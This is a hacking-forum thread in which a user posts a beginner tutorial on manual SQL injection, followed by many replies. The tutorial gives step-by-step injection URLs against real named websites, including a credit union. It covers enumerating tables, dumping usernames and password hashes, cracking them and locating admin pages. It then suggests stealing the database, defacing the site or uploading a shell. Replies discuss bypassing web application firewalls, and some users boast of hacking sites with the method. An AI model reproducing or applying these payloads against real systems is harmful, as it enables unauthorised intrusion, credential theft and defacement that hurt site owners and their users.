

Forum:[Hack Forums](#)

Thread: [\(TUTORIAL\) How to do Manual SQL Injection \[FULL BEGINNERS Guide to SQL Injection\]](#)

Orochimaru - July 24, 2013, 10:07 am

Hello everyone, it's Orochimaru and today I will be giving you a guide to SQL Injection using the basics of manual injection. I will provide pictures, examples, step by step parts, tools and much more. so let's get started.

Tools you can use:

[Google Dorks](#) (For finding vulnerable websites)

[MD5 Decrypter](#) (Decrypting passwords in tables)

[Hash Cracker](#) (Backup decrypter)

[Admin Page Finder #1](#) (Find admin page to login to)

[Admin Page Finder #2](#) (Backup admin page finder)

[String to ASCII Chart](#) (For the part where you need to enter the column in ASCII)

Tutorial:

Okay so let's start by choosing a website, it must end with "ID=NUMBER". That is the SQLi vulnerability.

I will be choosing this siteCode `http://calidus.ro/en/news.php?id=2`

Now to test if the website is actually vulnerable, you just need to add an apostrophe to the end of it, so it looks like this:Code `http://calidus.ro/en/news.php?id=2'`and you should get a MySQL Error which is a good thing.

Finding amount of Columns

Now you are going to want to find the amount of columns, and you can do this by removing the apostrophe at the end and adding this to the end of your link:

Code `+order+by+(number)--`Enter any number from 1-15, if you get an error, keep lowering the number until you don't and vice versa. Find the number that if you go one higher than you will get an error. So I will put Code `http://calidus.ro/en/news.php?id=2+order+by+5--` and I get an error, so I will lower it by one and the page loads perfectly, that number is the amount of columns on the site.

Gathering vulnerable columns

Now we want to find which columns are vulnerable, so we will do this, take out all the stuff on the link that comes after `id=2` and replace it with this code:

Code `+union+select+1,2,3,4--`Now in my case it's 1,2,3,4 because i have four columns, you change yours to how many columns you have and remember to add the "--" at the end. Also change ID=2 to either "Id=-2" or "Id=null" and your link should look like this:

Code `http://calidus.ro/en/news.php?id=null+union+select+1,2,3,4--` but remember to change column amount to yours!

Press enter and you will get a number or two, these are the vulnerable columns, now the MySQL version MUST be above 5 for this to work.

Checking MySQL Version

Next we will find the MySQL version of the columns, so pick one of the numbers that showed up on

the site and look for it in your URL bar, then replace it with this code:

Code @@versionSo your link should look like this

Code `http://calidus.ro/en/news.php?id=null+union+select+1,2,3,@@version--`(You can do whatever number you like, as long as it's vulnerable.)

The @@version code makes the website display it's MYSQL version

Retrieving Table Names

After that, we will find the table names and for this you need some codes:

Code `group_concat(table_name,0x0a)`Code from+information_schema.tablesCode
+where+table_schema=database()--The 0x0a breaks the line between each table for easier viewing.

So you are now supposed to choose a vulnerable column and replace it with
'group_concat(table_name,0x0a)' and then add the last two codes in at the end.

Your link should look something like this:Code
`http://calidus.ro/en/news.php?id=null+union+select+1,2,3,group_concat(table_name,0x0a)+from+information_schema.tables+where+table_schema=database()--`Look for the "Users" table, or something like that, that's what you need.

Getting Column names from Tables

Now we will retrieve the column names from the tables, we are looking from the account info from the "users" table but first we need the columns.

We will need to replace some code, so look for "group_concat(table_name,0x0a) and replace (table_name,0x0a) with (column_name,0x0a)

Look for 'information_schema.tables' and replace 'tables' with 'columns'.

Finally, delete all the text after 'information_schema.tables' and in front of it add Code
`where+table_name=char(ASCII CODE)`But wait, that won't work. This could be because one of the two reasons: You are copying directly from my tutorial and the table on your website is not called users, and two you need to use ASCII. So go to your website and find the table that you think is the users table. It could be "Admin_Login" or anything like that. Once you find it, use the String to ASCII link provided in the Links section to convert your table name to ASCII. It should come up like this "123 456 789". You must change it to "(123,456,789) by adding commas where the spaces were and brackets on both sides. So you need to put do the steps above but replace "ASCII CODE" with your table name in ASCII. Mine would be something like this "117,115,101,114,115".

Extracting Data from Columns

Great, now we have the columns in the 'users' table, we now need the account info so look for the important columns you need which can be "User ID" "ID" "User_Password" "Password" etc.

This means you must change the previous 'group_concat' to something like this Code
`group_concat(user_ID,0x3a,username,0x3a,user_password,0x0a)`Then, delete everything after '+from' and replace with this code

Code +users--So your link should look a little like this:

Code
`http://www.bcdcreditunion.co.uk/news/story.php?ID=null+union+select+1,group_concat(ID,0x3a,username,0x3a,password,0x0a),3,4,5,6,7,8,9,10,11,12,13+from+users--`

Decrypting Account Detail Hashes

Finally, you should get some weird strings maybe mixed with text, that means the passwords are encrypted, mostly using MD5. So we want to go to this website: <http://www.md5decrypt.org/>

Then you want to enter the strings one by one, if MD5 doesn't work, try the other options like 'MD4', 'SHA1', etc.

Finding Admin Login Page

You finally have the user and password for the website, now what? You will need to find a page for you to login for admin access. For this you will be using an Admin Panel Finder, I have provided multiple links for them at the top of this tutorial, but I'll post the best here: <http://sc0rpion.ir/>

There, you've found your admin page and the admin login details, now you can do stuff like steal their DB, upload your deface page, upload a shell, and a lot more.

String Based Injection

Now if that first guide did not work, there may be a quick fix on your problem. If nothing happens when you type "union+select+1,3,3,7--" or whatever number, there is a fix and it's called String Based Injection. Basically what you do it first: If the ID was null change it to -(number) and add an apostrophe back in front of it so -69' would be an example. Then at the end where it says "--" you must change that to "--+-". If the tables are still not showing up, your numbers are not going high enough or the site is not vulnerable.

Thank you everyone for reading my basic SQL Injection tutorial for beginners, I hope you enjoyed and more to come soon!

Anon?M ID - July 24, 2013, 10:09 am

this is a great tutorial.

have a good explanation and easy to understand for some beginners :)

thanks for the tut man. keep them up!

Advise - July 24, 2013, 10:16 am

Nice HQ tutorial mate :)) Keep them up bro :!

Yupper - July 24, 2013, 10:31 am

Hi, this looks like a great tutorial.

Good luck man.

Orochimaru - August 23, 2013, 9:53 am

Cleaned up the tutorial, added explanations and added String Based Injection area at the bottom! Enjoy!

Liam™ - August 23, 2013, 10:14 am

Vouch for this tutorial, me and b0rne successfully hacked this early before this was posted :P

Orochimaru - August 23, 2013, 3:57 pm

(Aug 23, 2013 10:14 AM)Liam™ Wrote: [\[CITE\]](#) Vouch for this tutorial, me and b0rne successfully hacked this early before this was posted :P

LOL! Dude, any luck finding the admin page? It's like, erased from existence. :P

Thisissohardffs - August 24, 2013, 12:07 am

What is the benefit of this VS sqlmap & other automatic injections

PoisonKnife - August 24, 2013, 12:09 am

I have bookmarked the tutorial.

Thanks for making it!

SHADOW REALM - August 24, 2013, 12:10 am

Why does it have to be above version 5?

King Xerxes - August 24, 2013, 3:34 am

this looks like a great tutorial. thanks!

Rykaa - August 24, 2013, 7:39 am

this is one of the best noob friendly tuts ive seen

King Xerxes - August 24, 2013, 1:20 pm

I have bookmarked the tutorial.

Thanks for making it!

T0ucaNSaM - August 24, 2013, 3:18 pm

Beast mode right here bro . You need an excellent job with organization, explanation , more importantly HQ thread on this SQL injection. Enjoyed doing this TUT as well. Hopefully more to come from you man .

starwars1 - August 24, 2013, 11:57 pm

awesome tutorial,thanks for sharing,keep sharing more

Maxxxior - August 25, 2013, 1:31 am

Great tutorial, very simple and hq ;D bookmarked it

Can I use PunkSPIDER with this method?

<http://punkspider.hyperiongray.com/>

133720 - September 1, 2013, 11:20 pm

Great! Nice Write Up!

We are Legion!

Orochimaru - December 25, 2013, 6:07 pm

Thanks for the feedback guys, will keep up the work!

Orochimaru - January 8, 2015, 4:37 pm

Thought i would redo this tutorial and fix it completely and bring it back, enjoy!

nezo33528 - January 23, 2015, 1:11 pm

great tutorial my friend

I have bookmared this tutorial

Frenzzy - January 23, 2015, 9:19 pm

great tutorial. Thanks this will help a lot.

Furorem - January 24, 2015, 8:06 am

Really good tutorial, thanks for it! ?

Gangolian - January 30, 2015, 10:27 am

This tutorial was clean, concise, and easy to read. Points are brief but with precision.

If you write a white paper or some Advanced guides I would like to read it man. Thank you

DeCompOseR - January 31, 2015, 4:50 pm

Its basic, neat and small. Thanks for the tutorial.

eastdabest - February 1, 2015, 2:44 pm

i like it . but it's stuff like this that i ask my self professionals don't do this they don't open a paste bin of dorks and deface a .gov website I want to master websites that are worth something not just simple foreign website like how do they get there learning process to take down websites that are heavily protected .

E1ipse - February 15, 2015, 9:28 am

Thank you. This will be nice to know.

Tony201 - February 15, 2015, 8:37 pm

great tutorial man, will definitely put this to good use.

dedejonas - February 15, 2015, 9:32 pm

Thanks buddy, very great tutorial! :)

peeledbanana - February 17, 2015, 1:20 pm

This helped me out a lot! Thanks for the tut

E1ipse - February 23, 2015, 4:50 pm

I've never understood sql till now. Thanks for teaching me.

Nalgun - March 2, 2015, 9:13 am

Amazing tutorial i appreciated your job thanks, bookmarked.

NinjaEdits - March 21, 2015, 7:35 am

im gonna try to figure this out later!

Com.plex - March 21, 2015, 8:16 am

TAKE THE NONSENSE OUT OF BEGINNING AND BREAKS IT DOWN FOR YOU

Th3PonyWizard - March 21, 2015, 12:31 pm

Full of errors but understandable. Good try :)

SIM-1550131 - March 21, 2015, 12:41 pm

Is there any way to get past the "Not Acceptable! An appropriate representation of the requested resource could not be found on this server. This error was generated by Mod_Security." screen?

Nice tutorial by the way.

Th3PonyWizard - March 21, 2015, 12:43 pm

(Mar 21, 2015 12:41 PM)McLovin Wrote: [\[CITE\]](#) Is there any way to get past the "Not Acceptable! An appropriate representation of the requested resource could not be found on this server. This error was generated by Mod_Security." screen?

Nice tutorial by the way. That's called a Web Application Firewall. You bypass it by learning what goes through and what doesn't at the WAF, and by visiting / reading tuts over SQLi section.

SIM-1550131 - March 21, 2015, 12:50 pm

(Mar 21, 2015 12:43 PM)Th3PonyWizard Wrote: [\[CITE\]](#) That's called a Web Application Firewall. You bypass it by learning what goes through and what doesn't at the WAF, and by visiting / reading tuts over SQLi section.

Thanks! I'll look into that.

A edit you might want to make to your tutorial:

When you are trying to get the version, replace the vulnerable column number only and don't delete the ones after. If mine was 3 then replace 3 and not 2 or 4.

?Astronaut? - March 21, 2015, 4:28 pm

Very nice tut maybe you should look into joining the SQL Injection Group.?

Vouch for this thread.?

Impulses - March 22, 2015, 12:23 am

Fantastic tutorial. I have learned quite a bit from this.

Foreseeable - March 22, 2015, 8:36 am

Have you ever heard of multicraft?

It's a minecraft server panel.

Is it possible to SQLi that?

Activo - April 15, 2015, 3:56 pm

Nice tutorial! HQ and easy to understand! Thanks for this!

Update - April 16, 2015, 5:26 am

Posting here to come back in the future.

sir_lucifer - April 17, 2015, 10:45 pm

Thanks, this was a great learning experience..

Villezzai - April 20, 2015, 3:20 am

Great tutorial, thanks man! ?

crashed01 - April 20, 2015, 3:27 am

nice tutorial for beginners, thanks man!

novall - September 13, 2015, 7:01 pm

Great tutorial keep up the gucci work bud

seyt - January 6, 2016, 9:18 am

Great tutorial thank you very much

Cruze7 - January 13, 2016, 10:22 pm

Very nicely explained.Thanks for the tut man.

SmaTTeR - January 14, 2016, 2:01 pm

Just getting back into the game, this definitely made me remember now.

Thanks.

Ticoma - March 29, 2016, 12:03 pm

Ya thanks bra, this is one of the better tuts online because it's text based and not some shitty video

r3v3rs3 - April 16, 2016, 6:44 am

I am wondering what method you do if you want to find the vulnerability of specific website? for example for this site (www(dot)example(dot)cn

do you search the dork w/ example . cn on keyword?

Thanks

zavi156156 - *April 16, 2016, 8:03 am*

this is a great tutorial.

Thanks you very much

vanbookpro - *April 19, 2016, 9:04 pm*

Thanks for the nice TUT ?

denielsmith - *April 23, 2016, 1:04 am*

I have bookmarked the tutorial.

Thanks for making it!

_stinkbaiT12 - *May 6, 2019, 5:21 pm*

This tutorial is very helpful. Is there a favorite number or a group of numbers that you like to see in the "ID=#" part of the URL? Anyone?

INDEPENDENT_THINKER - *March 4, 2024, 12:24 am*

Will Try! Good Stuff to Look at Easy to Read.

Any1One - *March 5, 2024, 10:47 am*

nice tutorial good luck x)

nice nick i was fan of orochimaru :D